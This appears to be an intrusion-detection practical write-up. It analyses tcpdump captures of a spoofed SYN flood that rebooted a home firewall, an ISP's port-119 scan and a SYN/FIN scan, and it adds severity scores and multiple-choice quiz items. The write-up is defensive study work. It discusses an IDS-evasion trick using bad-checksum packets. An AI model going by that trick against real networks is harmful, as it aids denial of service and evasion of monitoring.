05:01:59.257905 33.118.8.93.21337 > honey.net.23: S [bad
tcp cksum a370!] 2121400195:2121400215(20) win 65535 (DF)
(ttl 23, id 17346, len 40)

*********(329,964 similar lines were edited for brevity
***************

05:06:05.958656 20.83.137.226.17097 > honey.net.21163: S
[bad tcp cksum e68c!] 645055186:645055206(20) win 65535
(DF) (ttl 23, id 56739, len 40)
05:06:05.958723 94.45.113.174.7537 > honey.net.21164: S
[bad tcp cksum d1a3!] 659762333:659762353(20) win 65535
(DF) (ttl 23, id 56740, len 40)
05:06:05.958791 61.24.99.84.10233 > honey.net.21165: S [bad
tcp cksum 6ce8!] 456655108:456655128(20) win 65535 (DF)
(ttl 23, id 56741, len 40)
```

```
05:06:06.088391 102.115.21.243.36911 > honey.net.23639: S
[bad tcp cksum fd74!] 847876830:847876850(20) win 65535
(DF) (ttl 23, id 60185, len 40)
05:06:06.088458 2.37.77.235.6863 > honey.net.23507: S [bad
tcp cksum 794a!] 686563968:686563988(20) win 65535 (DF)
(ttl 23, id 60053, len 40)
05:06:06.088526 75.229.32.158.65128 > honey.net.23640: S
[bad tcp cksum e03d!] 731825952:731825972(20) win 65535
(DF) (ttl 23, id 60186, len 40)
05:06:06.129411 80.84.38.114.29280 > honey.net.24930: S
[bad tcp cksum 869!] 1423667508:1423667528(20) win 65535
(DF) (ttl 23, id 61961, len 40)
05:06:06.129478 40.47.81.19.59786 > honey.net.24931: S [bad
tcp cksum d38!] 273667862:273667882(20) win 65535 (DF) (ttl
23, id 61962, len 40)
05:06:06.179423 12.10.132.227.57303 > honey.net.27117: S
[bad tcp cksum a5fb!] 1016997380:1016997400(20) win 65535
(DF) (ttl 23, id 64634, len 40)
05:06:06.179489 42.7.221.199.66 > honey.net.27118: S [bad
tcp cksum 41df!] 788364836:788364856(20) win 65535 (DF)
(ttl 23, id 64635, len 40)
05:06:06.179557 22.222.146.62.5042 > honey.net.27119: S
[bad tcp cksum a916!] 1547507411:1547507431(20) win 65535
(DF) (ttl 23, id 64636, len 40)
05:06:06.248619 121.105.66.50.25559 > honey.net.27860: S
[bad tcp cksum 45d4!] 1602349305:1602349325(20) win 65535
(DF) (ttl 23, id 326, len 40)
05:06:06.248684 27.47.146.216.24910 > honey.net.27861: S
[bad tcp cksum ea6d!] 1242449422:1242449442(20) win 65535
(DF) (ttl 23, id 327, len 40)
05:06:06.248752 77.55.83.59.16923 > honey.net.27862: S [bad
tcp cksum 7bbf!] 1543774918:1543774938(20) win 65535 (DF)
(ttl 23, id 328, len 40)
05:06:06.299540 35.81.240.139.61800 > honey.net.29304: S
[bad tcp cksum b8d2!] 1128548009:1128548029(20) win 65535
(DF) (ttl 23, id 2255, len 40)
05:06:06.299606 126.121.83.50.56751 > honey.net.29305: S
[bad tcp cksum 40c1!] 1430152469:1430152489(20) win 65535
(DF) (ttl 23, id 2256, len 40)
05:06:06.360395 8.60.239.249.59623 > honey.net.30768: S
[bad tcp cksum fffb!] 271254757:271254777(20) win 65535
(DF) (ttl 23, id 4204, len 40)
05:06:06.360460 78.36.3.179.35038 > honey.net.30769: S [bad
tcp cksum 7df1!] 1902599155:1902599175(20) win 65535 (DF)
(ttl 23, id 4205, len 40)
```

```
05:06:06.419489 38.20.173.150.14714 > honey.net.32739: S
[bad tcp cksum c1b0!] 1113610659:1113610679(20) win 65535
(DF) (ttl 23, id 6659, len 40)
05:06:06.419555 52.14.131.160.36910 > honey.net.32740: S
[bad tcp cksum 70fb!] 486782331:486782351(20) win 65535
(DF) (ttl 23, id 6660, len 40)
05:06:06.419623 85.153.56.64.23221 > honey.net.32741: S
[bad tcp cksum 76c!] 571329067:571329087(20) win 65535 (DF)
(ttl 23, id 6661, len 40)
05:06:06.548329 55.158.170.126.4824 > honey.net.35537: S
[bad tcp cksum ace!] 927767640:927767660(20) win 65535 (DF)
(ttl 23, id 10427, len 40)
05:06:06.548396 99.177.135.13.52733 > honey.net.35538: S
[bad tcp cksum 2daa!] 907560813:907560833(20) win 65535
(DF) (ttl 23, id 10428, len 40)
05:06:06.548463 50.36.173.150.14473 > honey.net.35539: S
[bad tcp cksum ea3a!] 318090392:318090412(20) win 65535
(DF) (ttl 23, id 10429, len 40)
```

1. Source of Trace.

A friend allowed me to analyze the tcpdump traces from his network since I don't have a DSL connection as he does. I will refer to his network as honey.net.

2. Detect was generated by:

Tcpdump 3.6

3. Probability the source address was spoofed:

Certainly the source addresses were spoofed. The IP ids, of the source address from all over the world that even included values like 0.0.99.153 and 0.0.112.218, were sequential and the ttl values are all the same, 23. The odds of that happening from so many different hosts are astronomical.

4. Description of attack:

This at first glance appears to be a normal sequential syn port scan run in order to find out which ports will answer back with a syn/ack indicating that they are open. The insertion of

40 bytes of options on the IP header is designed to defeat some sniffers and intrusion detection systems. However, the packets showing up as a bad tcp checksum created an interesting side effect on the honey.net machine, and this may have been on purpose. Because the honey.net machine interpreted the tcp header incorrectly, the machine spent too much time decoding the packet, finding the bad tcp header, and throwing the packet away. This created a denial of service to the honey.net machine. This method of eluding IDSes is described in Phrack magazine, Volume 8, Issue 54, Dec 25th, 1998, article 10 of 12.

5. Attack mechanism:

Let's start out with some statistics for this apparent scan turned denial of service:

There were 330012 syns packets with 20 byte payloads and an apparent bad tcp checksum sent to the honey.net machine in 4 minutes 7 seconds, that's 1336 packets a second. Those packets had 329991 unique IPs and contained 65118 unique port numbers. The honey.net machine did not respond to any of the syn packets since the tcp checksums were bad. However, the number of bad packets sent to the machine created a denial of service that eventually caused the machine to reboot.

This could have been either a very specially crafted packet as described by the Phrack article, a denial of service, or a good syn-scan gone horribly wrong. I'm leaning toward the Phrack article based on the other things that were happening to and on this machine during this timeframe. (See Detects #1 and #2)

6. Correlations:

This particular detect has never been seen before. While Syn-scans are very common with tools like nmap, I cannot find any current tools that use this signature. congestant.c described in the Phrack article has too many constant values. Raped.c, described by Tim Yardley in a Bugtraq posting Jan 2000, sends only ack packets. However, this tool appears to contain a static source IP address for the bad tcp checksum

packets and is not as robust as this trace appears to be.

Phrack magazine, Volume 8, Issue 54, Dec 25th, 1998, article 10 of 12
http://www.pulhas.org/phrack/54/P54-10.html

Tim Yardley's posting to Bugtraq
http://www.securityportal.net/list-archive/bugtraq/2000/Jan/0257.html

7. Evidence of active targeting:

Because I can find no other similar traces to the denial of service itself and the benefit it had to an intruder by causing the reboot (See Detect #2), I would have to say honey.net was actively targeted.

8. Severity:

This machine is the firewall, a critical component of the network, so I will mark the criticality of the target as a 5.

The intruder was able to cause the machine to totally lock up and eventually reboot, so I will mark the lethality of the attack as a 4. There is little you can do to defend against this type of denial of service attack.

The machine is an older machine running a fairly recent version of linux with tcpdump running several ways in order to save output files and display alerts, however not all patches have been applied, so we will mark the system countermeasures as a 3.

This machine is the firewall, with several other machines residing behind it. The firewall gets hit a lot and has very few open ports and the machines behind this firewall have yet to be attacked, so I give the network countermeasures of this machine a 4 in this case.

Therefore the severity of this attack is:

(Criticality + Lethality) – (System + Network Countermeasures) = Severity

(5 + 4) – (3 + 4) = 2

I would not in this case consider this attack severe and would not deploy the Incident Handling team. I might, however, send a system administrator to the machine to determine if the denial or service and reboot had caused any additional damage and to see if there were other strange things happening on the machine that might indicate an intrusion.

9. Defensive recommendation:

Since this machine is a firewall and protects several other machines, I suggested that all unused or unwanted ports be turned off. However, there is little one can do against this type of denial of service attack. I also suggested that he continue to run a network monitor or IDS on this machine and that he also run another inside the perimeter, just in case someone did manage to breach his perimeter defenses. The IDS systems may provide alerts or clues later in a case that may provide information about the scope of an intrusion.

10. Multiple choice test question:

The network trace shown above cannot be a distributed denial of service attack because?

a) the source IPs change for each connection
b) the destination IP does not answer back
c) the sequence numbers appear to be randomly generated
d) the packet ttl values are the same for every host and the IP ids are sequential

Answer: (d) Individual machines separated geographically by hundreds of miles would not have the same time to live values because of the different routes they would have to take. Also, the chance that differing machines would have sequential IP ids being sent to the same host is not possible.

(a) No, source IPs would normally change to several differing IPs during a distributed

denial of service attack. However, I doubt someone could have 329,991 slave hosts to use for a distributed denial of service attack.

(b) No, there are many reasons why a destination IP may not answer back, like the machine is currently turned off.

(c) No, normal sequence numbers of different connections would appear random.

Detect #4 Who's got news? (119)

(Note: Underlined and highlighted text below marks important text.)

```
02:53:20.371067 24.0.0.203.64706 > honey.net.119: S [tcp
sum ok] 2015942370:2015942370(0) win 8760 <mss 1460> (ttl
248, id 45729, len 44)
0x0000     4500 002c b2a1 0000 f806 6e5d 1800 00cb
     E..,......n]....
0x0010     180d 70f5 fcc2 0077 7828 d6e2 0000 0000
     ..p....wx(......
0x0020     6002 2238 87dc 0000 0204 05b4 33fd
     `."8........3.
02:53:21.020070 24.0.0.203.64706 > honey.net.119: R [tcp
sum ok] 2015942371:2015942371(0) win 8760 (ttl 248, id
45730, len 40)
0x0000     4500 0028 b2a2 0000 f806 6e60 1800 00cb
     E..(......n`....
0x0010     180d 70f5 fcc2 0077 7828 d6e3 0000 0000
     ..p....wx(......
0x0020     5004 2238 9f95 0000 290a 00b4 33fd
     P."8....)...3.
02:53:21.036574 24.0.0.203.65401 > honey.net.119: S [tcp
sum ok] 2062709973:2062709973(0) win 8760 <mss 1460> (ttl
248, id 45731, len 44)
0x0000     4500 002c b2a3 0000 f806 6e5b 1800 00cb
     E..,......n[....
0x0010     180d 70f5 ff79 0077 7af2 74d5 0000 0000
     ..p..y.wz.t.....
0x0020     6002 2238 e468 0000 0204 05b4 6680
     `."8.h......f.
02:53:21.837848 24.0.0.203.65401 > honey.net.119: R [tcp
sum ok] 2062709974:2062709974(0) win 8760 (ttl 248, id
45732, len 40)
0x0000     4500 0028 b2a4 0000 f806 6e5e 1800 00cb
     E..(......n^....
0x0010     180d 70f5 ff79 0077 7af2 74d6 0000 0000
     ..p..y.wz.t.....
0x0020     5004 2238 fc21 0000 290a 00b4 33fd
     P."8.!..)...3.
06:45:15.813736 24.0.0.203.44013 > honey.net.119: S [tcp
sum ok] 90107502:90107502(0) win 8760 <mss 1460> (ttl 248,
id 2541, len 44)
0x0000     4500 002c 09ed 0000 f806 1712 1800 00cb
     E..,............
```

```
0x0010     180d 70f5 abed 0077 055e ee6e 0000 0000
     ..p....w.^.n....
0x0020     6002 2238 33f0 0000 0204 05b4 00e0
     `."83.........
06:45:16.689716 24.0.0.203.44013 > honey.net.119: R [tcp
sum ok] 90107503:90107503(0) win 8760 (ttl 248, id 2542,
len 40)
0x0000     4500 0028 09ee 0000 f806 1715 1800 00cb
     E..(.............
0x0010     180d 70f5 abed 0077 055e ee6f 0000 0000
     ..p....w.^.o....
0x0020     5004 2238 4ba9 0000 0604 0001 00e0
     P."8K.........
06:45:16.709945 24.0.0.203.44834 > honey.net.119: S [tcp
sum ok] 144190448:144190448(0) win 8760 <mss 1460> (ttl
248, id 2543, len 44)
0x0000     4500 002c 09ef 0000 f806 1710 1800 00cb
     E..,.............
0x0010     180d 70f5 af22 0077 0898 2bf0 0000 0000
     ..p.."..w..+.....
0x0020     6002 2238 efff 0000 0204 05b4 0000
     `."8..........
06:45:17.257489 24.0.0.203.44834 > honey.net.119: R [tcp
sum ok] 144190449:144190449(0) win 8760 (ttl 248, id 2544,
len 40)
0x0000     4500 0028 09f0 0000 f806 1713 1800 00cb
     E..(.............
0x0010     180d 70f5 af22 0077 0898 2bf1 0000 0000
     ..p.."..w..+.....
0x0020     5004 2238 07b9 0000 4500 001c 0e4c
     P."8....E....L
11:07:10.179199 24.0.0.203.44582 > honey.net.119: S [tcp
sum ok] 3834591941:3834591941(0) win 8760 <mss 1460> (ttl
248, id 54407, len 44)
0x0000     4500 002c d487 0000 f806 4c77 1800 00cb
     E..,.......Lw....
0x0010     180d 70f5 ae26 0077 e48f 3ac5 0000 0000
     ..p..&.w..:.....
0x0020     6002 2238 062f 0000 0204 05b4 0602
     `."8./........
11:07:11.167263 24.0.0.203.44582 > honey.net.119: R [tcp
sum ok] 3834591942:3834591942(0) win 8760 (ttl 248, id
54408, len 40)
0x0000     4500 0028 d488 0000 f806 4c7a 1800 00cb
     E..(......Lz....
0x0010     180d 70f5 ae26 0077 e48f 3ac6 0000 0000
     ..p..&.w..:.....
```

```
0x0020     5004 2238 1de8 0000 7572 0806 0001
     P."8....ur....
11:07:11.184070 24.0.0.203.45544 > honey.net.119: S [tcp
sum ok] 3896596092:3896596092(0) win 8760 <mss 1460> (ttl
248, id 54409, len 44)
0x0000     4500 002c d489 0000 f806 4c75 1800 00cb
     E..,......Lu....
0x0010     180d 70f5 b1e8 0077 e841 567c 0000 0000
     ..p....w.AV|....
0x0020     6002 2238 e303 0000 0204 05b4 0000
     `."8..........
11:07:12.331844 24.0.0.203.45544 > honey.net.119: R [tcp
sum ok] 3896596093:3896596093(0) win 8760 (ttl 248, id
54410, len 40)
0x0000     4500 0028 d48a 0000 f806 4c78 1800 00cb
     E..(......Lx....
0x0010     180d 70f5 b1e8 0077 e841 567d 0000 0000
     ..p....w.AV}....
0x0020     5004 2238 fabc 0000 290a 0006 0001
     P."8....).....
15:47:10.591213 24.0.0.203.63114 > honey.net.119: S [tcp
sum ok] 3006245172:3006245172(0) win 8760 <mss 1460> (ttl
248, id 12715, len 44)
0x0000     4500 002c 31ab 0000 f806 ef53 1800 00cb
     E..,1......S....
0x0010     180d 70f5 f68a 0077 b32f a934 0000 0000
     ..p....w./.4....
0x0020     6002 2238 80bb 0000 0204 05b4 00e0
     `."8..........
15:47:12.437518 24.0.0.203.63114 > honey.net.119: R [tcp
sum ok] 3006245173:3006245173(0) win 8760 (ttl 248, id
12716, len 40)
0x0000     4500 0028 31ac 0000 f806 ef56 1800 00cb
     E..(1......V....
0x0010     180d 70f5 f68a 0077 b32f a935 0000 0000
     ..p....w./.5....
0x0020     5004 2238 9874 0000 290a 00b4 00e0
     P."8.t..).....
15:47:12.454328 24.0.0.203.64241 > honey.net.119: S [tcp
sum ok] 3079162383:3079162383(0) win 8760 <mss 1460> (ttl
248, id 12717, len 44)
0x0000     4500 002c 31ad 0000 f806 ef51 1800 00cb
     E..,1......Q....
0x0010     180d 70f5 faf1 0077 b788 4a0f 0000 0000
     ..p....w..J.....
0x0020     6002 2238 d720 0000 0204 05b4 4c34
     `."8........L4
```

```
15:47:14.856433 24.0.0.203.64241 > honey.net.119: R [tcp
sum ok] 3079162384:3079162384(0) win 8760 (ttl 248, id
12718, len 40)
0x0000     4500 0028 31ae 0000 f806 ef54 1800 00cb
     E..(1......T....
0x0010     180d 70f5 faf1 0077 b788 4a10 0000 0000
     ..p....w..J.....
0x0020     5004 2238 eed9 0000 290a 00b4 00e0
     P."8....).....
```

1. Source of Trace.

A friend allowed me to analyze the tcpdump traces from his network since I don't have a DSL connection as he does. I will refer to his network as honey.net.

2. Detect was generated by:

Tcpdump 3.6

3. Probability the source address was spoofed:

Doubtful the source address is spoofed. The IP of the source address is the correct number of hops from honey.net to be an @home administrative machine. The IP ids look valid, and there is no evidence that the packet is crafted.

4. Description of attack:

Initially this appears to be a syn-scan for the news port 119. However, there is one good reason why this scan is strange and may be more like Detect #5, but there is not enough information here to truly say. The source IP immediately (8/10ths of a second later) sends a reset packet after sending the syn packet, not allowing the destination IP to respond with either a syn/ack packet or a reset/ack packet. It just so happens that the honey.net machine will not respond to this host anyway because of an IP chains rule. If this was supposed to be some sort of denial of service, it has too few connection attempts, and the reset packet would

defeat the purpose by releasing the connection. If this were some sort of a scan, then again the reset packet would defeat the purpose by releasing the connection possibly before the destination IP could respond.

Therefore, this appears to be a misconfiguration in a news server or a very poorly devised scan. The number of packets sent and the packet timing as well as the source IP information seem to support the conclusion that this is a scan however poorly designed.

5. Attack mechanism:

Port 119 is normally used for network news connections. One could have found a buffer overflow in one of the news servers and started scanning for vulnerable hosts, but this is unlikely in this case, because of the immediate reset packet being sent by the source IP.

6. Correlations:

Finally, one I can actually correlate with someone else.

http://www.sans.org/y2k/092000-1400.htm
(Barry R. Boyd—More proof the UUNET death threat actually works! Barry, home.com has no choice in the matter or they would be cut off.)

I can't figure why @home would have an "authorized-scan" machine and then look for News Servers.

News Probe (I have many more of these), but why would @home scan for News?

Sep 17 11:17:39 MYHOST kernel: Packet log: input DENY eth0 PROTO=6
24.0.0.203:32807 a.b.c.d:119 L=44 S=0x00 I=691 F=0x0000 T=243
Sep 17 11:17:41 MYHOST kernel: Packet log: input DENY eth0 PROTO=6

24.0.0.203:32807 a.b.c.d:119 L=40 S=0x00 I=692 F=0x0000 T=243
Sep 17 11:17:41 MYHOST kernel: Packet log: input DENY eth0 PROTO=6
24.0.0.203:34354 a.b.c.d:119 L=44 S=0x00 I=693 F=0x0000 T=243
Sep 17 11:17:42 MYHOST kernel: Packet log: input DENY eth0 PROTO=6
24.0.0.203:34354 a.b.c.d:119 L=40 S=0x00 I=694 F=0x0000 T=243

The above equates to; authorized-scan1.security.home.net [24.0.0.203]

But this still bothers me, too. Why would @home scan their blocks for news servers and use such a poorly devised scan at that? News servers are vulnerable to attack in the same sense that e-mail servers and web servers are vulnerable. All are designed to be readily accessible from the Internet. Maybe they are looking for unauthorized news servers that may cause a number of potential problems later, but I doubt with this scan that they will find many.

7. Evidence of active targeting:

I doubt honey.net was actively targeted. Instead, I believe this was an authorized scan attempt by @home, however this one still bothers me.

8. Severity:

This machine is the firewall, a critical component of the network, so I will then mark criticality of the target as a 5.

Authorized scans by an ISP of machines on their network are not very lethal, so I will mark the lethality of the attack as a 1.

The machine is an older machine running a fairly recent version of linux with tcpdump running several ways in order to save output files and display alerts. However not all patches have been applied, so we will mark the system countermeasures as a 3.

This machine is the firewall, with several other machines residing behind it. The firewall gets hit a lot and has very few open ports, port 119 is not open at all. The machines behind this firewall have yet to be attacked, so I give the network countermeasures of this machine a 4 in this case.

Therefore, the severity of this attack is:

(Criticality + Lethality) – (System + Network Countermeasures) = Severity

(5 + 1) – (3 + 4) = -1

I would not consider this an attack, much less a severe attack, and would not deploy the Incident Handling team. I might, however, send a friendly message to the system administrators of the @home network to ask them why this particular scan is being performed.

9. Defensive recommendation:

None in this case. Port 119 is being blocked by the firewall, and the firewall itself does not have this port open. The security perimeter worked exactly as it should have in this case.

10. Multiple choice test question:

The network trace shown above does not resemble a denial of service attack because?

a) the source IP sends a reset packet before a denial of service could occur
b) the packet time to live values are static
c) the sequence numbers appear to be randomly generated
d) the IP ids of consecutive packets are sequential

Answer: (a) The reset packet would release any tied up resources by the destination host, therefore defeating the denial of service attempt.

(b) No, ttl values from a valid source IP should be static.

(c) No, normal sequence numbers of different connections would appear random.

(d) No, normal IP ids from the same host in consecutive packets should be sequential or very nearly so.

Detect #5 SYN/FIN scan (multiple ports)

(Note: Underlined and highlighted text below marks important text.)

```
03:12:27.012977 203.232.4.4.21 > 24.13.112.245.21: SF [tcp
sum ok] 1692719650:1692719650(0) win 1028 (ttl 23, id
39426, len 40)
0x0000     4500 0028 9a02 0000 1706 b0df cbe8 0404
     E..(............
0x0010     180d 70f5 0015 0015 64e4 da22 22d4 5eb3
     ..p.....d..""".^.
0x0020     5003 0404 9236 0000 290a 00ff 00e0
     P....6..).....
03:12:27.060591 24.13.112.245.21 > 203.232.4.4.21: S [tcp
sum ok] 2638973644:2638973644(0) ack 1692719651 win 32696
<mss 536> (DF) (ttl 64, id 33190, len 44)
0x0000     4500 002c 81a6 4000 4006 6037 180d 70f5
     E..,..@.@.`7..p.
0x0010     cbe8 0404 0015 0015 9d4b 8acc 64e4 da23
     .........K..d..#
0x0020     6012 7fb8 5bc1 0000 0204 0218
     `...[.......
03:12:27.381021 203.232.4.4.21 > 24.13.112.245.21: R [tcp
sum ok] 1692719651:1692719651(0) win 0 (ttl 236, id 33432,
len 40)
0x0000     4500 0028 8298 0000 ec06 f348 cbe8 0404
     E..(.......H....
0x0010     180d 70f5 0015 0015 64e4 da23 0000 0000
     ..p.....d..#....
0x0020     5004 0000 17c0 0000 6164 6472 0461
     P.......addr.a
03:12:27.700598 203.232.4.4.4331 > 24.13.112.245.21: S [tcp
sum ok] 3512030578:3512030578(0) win 32120 <mss
1460,sackOK,timestamp 96472126 0,nop,wscale 0> (DF) (ttl
45, id 33468, len 60)
0x0000     4500 003c 82bc 4000 2d06 7211 cbe8 0404
     E..<..@.-.r.....
0x0010     180d 70f5 10eb 0015 d155 5572 0000 0000
     ..p......UUr....
0x0020     a002 7d78 27da 0000 0204 05b4 0402 080a
     ..}x'...........
0x0030     05c0 0c3e 0000 0000 0103 0300
     ...>........
```

```
03:12:27.700691 24.13.112.245.21 > 203.232.4.4.4331: S [tcp
sum ok] 2625202100:2625202100(0) ack 3512030579 win 32120
<mss 1460,sackOK,timestamp 339322167 96472126,nop,wscale 0>
(DF) (ttl 64, id 33192, len 60)
0x0000     4500 003c 81a8 4000 4006 6025 180d 70f5
     E..<..@.@.`%..p.
0x0010     cbe8 0404 0015 10eb 9c79 67b4 d155 5573
     .........yg..UUs
0x0020     a012 7d78 6a2a 0000 0204 05b4 0402 080a
     ..}xj*..........
0x0030     1439 a537 05c0 0c3e 0103 0300
     .9.7...>....
03:12:28.097018 203.232.4.4.4331 > 24.13.112.245.21: . [tcp
sum ok] ack 1 win 32120 <nop,nop,timestamp 96472167
339322167> (DF) (ttl 45, id 33499, len 52)
0x0000     4500 0034 82db 4000 2d06 71fa cbe8 0404
     E..4..@.-.q.....
0x0010     180d 70f5 10eb 0015 d155 5573 9c79 67b5
     ..p......UUs.yg.
0x0020     8010 7d78 98c6 0000 0101 080a 05c0 0c67
     ..}x...........g
0x0030     1439 a537                                       .9.7
03:12:31.574766 24.13.112.245.21 > 203.232.4.4.4331: P [tcp
sum ok] 1:98(97) ack 1 win 32120 <nop,nop,timestamp
339322555 96472167> (DF) [tos 0x10]  (ttl 64, id 33196, len
149)
0x0000     4510 0095 81ac 4000 4006 5fb8 180d 70f5
     E.....@.@._...p.
0x0010     cbe8 0404 0015 10eb 9c79 67b5 d155 5573
     .........yg..UUs
0x0020     8018 7d78 00e1 0000 0101 080a 1439 a6bb
     ..}x.........9..
0x0030     05c0 0c67 3232 3020 6363 3339 3336 3032
     ...g220.cc393602
0x0040     2d62 2e6d 642e 686f 6d65 2e63 6f6d 2046     -
b.md.home.com.F
0x0050     5450 2073 6572 7665 7220 2856 6572 7369
     TP.server.(Versi
0x0060     6f6e 2077 752d 322e 362e 3028 3129 204d
     on.wu-2.6.0(1).M
0x0070     6f6e 2046 6562 2032 3820 3130 3a33 303a
     on.Feb.28.10:30:
0x0080     3336 2045 5354 2032 3030 3029 2072 6561
     36.EST.2000).rea
0x0090     6479 2e0d 0a
     dy...
```

```
03:12:31.880137 203.232.4.4.4331 > 24.13.112.245.21: . [tcp
sum ok] ack 98 win 32120 <nop,nop,timestamp 96472558
339322555> (DF) (ttl 45, id 33889, len 52)
0x0000     4500 0034 8461 4000 2d06 7074 cbe8 0404
     E..4.a@.-.pt....
0x0010     180d 70f5 10eb 0015 d155 5573 9c79 6816
     ..p......UUs.yh.
0x0020     8010 7d78 955a 0000 0101 080a 05c0 0dee
     ..}x.Z..........
0x0030     1439 a6bb                                       .9..
03:12:31.880464 203.232.4.4.4331 > 24.13.112.245.21: F [tcp
sum ok] 1:1(0) ack 98 win 32120 <nop,nop,timestamp 96472559
339322555> (DF) (ttl 45, id 33892, len 52)
0x0000     4500 0034 8464 4000 2d06 7071 cbe8 0404
     E..4.d@.-.pq....
0x0010     180d 70f5 10eb 0015 d155 5573 9c79 6816
     ..p......UUs.yh.
0x0020     8011 7d78 9558 0000 0101 080a 05c0 0def
     ..}x.X..........
0x0030     1439 a6bb                                       .9..
03:12:31.880515 24.13.112.245.21 > 203.232.4.4.4331: . [tcp
sum ok] ack 2 win 32120 <nop,nop,timestamp 339322585
96472559> (DF) [tos 0x10]  (ttl 64, id 33197, len 52)
0x0000     4510 0034 81ad 4000 4006 6018 180d 70f5
     E..4..@.@.`...p.
0x0010     cbe8 0404 0015 10eb 9c79 6816 d155 5574
     .........yh..UUt
0x0020     8010 7d78 953a 0000 0101 080a 1439 a6d9
     ..}x.:.......9..
0x0030     05c0 0def                                       ....
03:12:31.881112 24.13.112.245.21 > 203.232.4.4.4331: P [tcp
sum ok] 98:135(37) ack 2 win 32120 <nop,nop,timestamp
339322585 96472559> (DF) [tos 0x10]  (ttl 64, id 33198, len
89)
0x0000     4510 0059 81ae 4000 4006 5ff2 180d 70f5
     E..Y..@.@._...p.
0x0010     cbe8 0404 0015 10eb 9c79 6816 d155 5574
     .........yh..UUt
0x0020     8018 7d78 a3e0 0000 0101 080a 1439 a6d9
     ..}x.........9..
0x0030     05c0 0def 3232 3120 596f 7520 636f 756c
     ....221.You.coul
0x0040     6420 6174 206c 6561 7374 2073 6179 2067
     d.at.least.say.g
0x0050     6f6f 6462 7965 2e0d 0a
     oodbye...
```

```
03:12:31.896862 24.13.112.245.21 > 203.232.4.4.4331: F [tcp
sum ok] 135:135(0) ack 2 win 32120 <nop,nop,timestamp
339322587 96472559> (DF) [tos 0x10]  (ttl 64, id 33199, len
52)
0x0000     4510 0034 81af 4000 4006 6016 180d 70f5
     E..4..@.@.`...p.
0x0010     cbe8 0404 0015 10eb 9c79 683b d155 5574
     .........yh;.UUt
0x0020     8011 7d78 9512 0000 0101 080a 1439 a6db
     ..}x.........9..
0x0030     05c0 0def                                       ....
03:12:32.137734 203.232.4.4.4331 > 24.13.112.245.21: R [tcp
sum ok] 3512030580:3512030580(0) win 0 [tos 0x10]  (ttl
236, id 33924, len 40)
0x0000     4510 0028 8484 0000 ec06 f14c cbe8 0404
     E..(.......L....
0x0010     180d 70f5 10eb 0015 d155 5574 0000 0000
     ..p......UUt....
0x0020     5004 0000 1f28 0000 0000 0000 0000 0000
     P....(........
03:12:32.152439 203.232.4.4.4331 > 24.13.112.245.21: R [tcp
sum ok] 3512030580:3512030580(0) win 0 [tos 0x10]  (ttl
236, id 33926, len 40)
0x0000     4510 0028 8486 0000 ec06 f14a cbe8 0404
     E..(.......J....
0x0010     180d 70f5 10eb 0015 d155 5574 0000 0000
     ..p......UUt....
0x0020     5004 0000 1f28 0000 0000 0000 0000 0000
     P....(........
03:12:37.399231 203.232.4.4.109 > 24.13.112.245.109: SF
[tcp sum ok] 489180117:489180117(0) win 1028 (ttl 23, id
39426, len 40)
0x0000     4500 0028 9a02 0000 1706 b0df cbe8 0404
     E..(............
0x0010     180d 70f5 006d 006d 1d28 4bd5 6855 033a
     ..p..m.m.(K.hU.:
0x0020     5003 0404 7d88 0000 290a 000a 05c0
     P...}...).....
03:12:37.399317 24.13.112.245.109 > 203.232.4.4.109: R [tcp
sum ok] 0:0(0) ack 489180118 win 0 (ttl 255, id 33200, len
40)
0x0000     4500 0028 81b0 0000 ff06 e130 180d 70f5
     E..(.......0..p.
0x0010     cbe8 0404 006d 006d 0000 0000 1d28 4bd6
     .....m.m.....(K.
0x0020     5014 0000 ed09 0000
     P.......
```

```
03:12:51.106849 203.232.4.4.53 > 24.13.112.245.53: SF [tcp
sum ok] 537920794:537920794(0) win 1028 (ttl 23, id 39426,
len 40)
0x0000     4500 0028 9a02 0000 1706 b0df cbe8 0404
     E..(............
0x0010     180d 70f5 0035 0035 2010 051a 4d3e b303
     ..p..5.5....M>..
0x0020     5003 0404 2d19 0000 290a 0000 0000
     P...-...).....
03:12:51.106936 24.13.112.245.53 > 203.232.4.4.53: R [tcp
sum ok] 0:0(0) ack 537920795 win 0 (ttl 255, id 33201, len
40)
0x0000     4500 0028 81b1 0000 ff06 e12f 180d 70f5
     E..(......./..p.
0x0010     cbe8 0404 0035 0035 0000 0000 2010 051b
     .....5.5........
0x0020     5014 0000 314d 0000
     P...1M..
03:13:02.145309 203.232.4.4.111 > 24.13.112.245.111: SF
[tcp sum ok] 1489356541:1489356541(0) win 1028 (ttl 23, id
39426, len 40)
0x0000     4500 0028 9a02 0000 1706 b0df cbe8 0404
     E..(............
0x0010     180d 70f5 006f 006f 58c5 c6fd 1306 6c60
     ..p..o.oX.....l`
0x0020     5003 0404 b2e7 0000 290a 000a 05c0
     P.......).....
03:13:02.145393 24.13.112.245.111 > 203.232.4.4.111: R [tcp
sum ok] 0:0(0) ack 1489356542 win 0 (ttl 255, id 33202, len
40)
0x0000     4500 0028 81b2 0000 ff06 e12e 180d 70f5
     E..(..........p.
0x0010     cbe8 0404 006f 006f 0000 0000 58c5 c6fe
     .....o.o....X...
0x0020     5014 0000 3640 0000
     P...6@..
03:13:20.316152 203.232.4.4.515 > 24.13.112.245.515: SF
[tcp sum ok] 1368617099:1368617099(0) win 1028 (ttl 23, id
39426, len 40)
0x0000     4500 0028 9a02 0000 1706 b0df cbe8 0404
     E..(............
0x0010     180d 70f5 0203 0203 5193 708b 09b8 3b1a
     ..p.....Q.p...;.
0x0020     5003 0404 47f8 0000 290a 0003 1c01
     P...G...).....
```

```
03:13:20.316249 24.13.112.245.515 > 203.232.4.4.515: S [tcp
sum ok] 2688100691:2688100691(0) ack 1368617100 win 32696
<mss 536> (DF) (ttl 64, id 33203, len 44)
0x0000     4500 002c 81b3 4000 4006 602a 180d 70f5
     E..,..@.@.`*..p.
0x0010     cbe8 0404 0203 0203 a039 2953 5193 708c
     .........9)SQ.p.
0x0020     6012 7fb8 3359 0000 0204 0218
     `...3Y......
03:13:20.713225 203.232.4.4.515 > 24.13.112.245.515: R [tcp
sum ok] 1368617100:1368617100(0) win 0 (ttl 236, id 38483,
len 40)
0x0000     4500 0028 9653 0000 ec06 df8d cbe8 0404
     E..(.S..........
0x0010     180d 70f5 0203 0203 5193 708c 0000 0000
     ..p.....Q.p.....
0x0020     5004 0000 90cc 0000 0000 0000 4101
     P...........A.
```

1. Source of Trace.

A friend allowed me to analyze the tcpdump traces from his network since I don't have a DSL connection as he does. I will refer to his network as honey.net.

2. Detect was generated by:

Tcpdump 3.6

3. Probability the source address was spoofed:

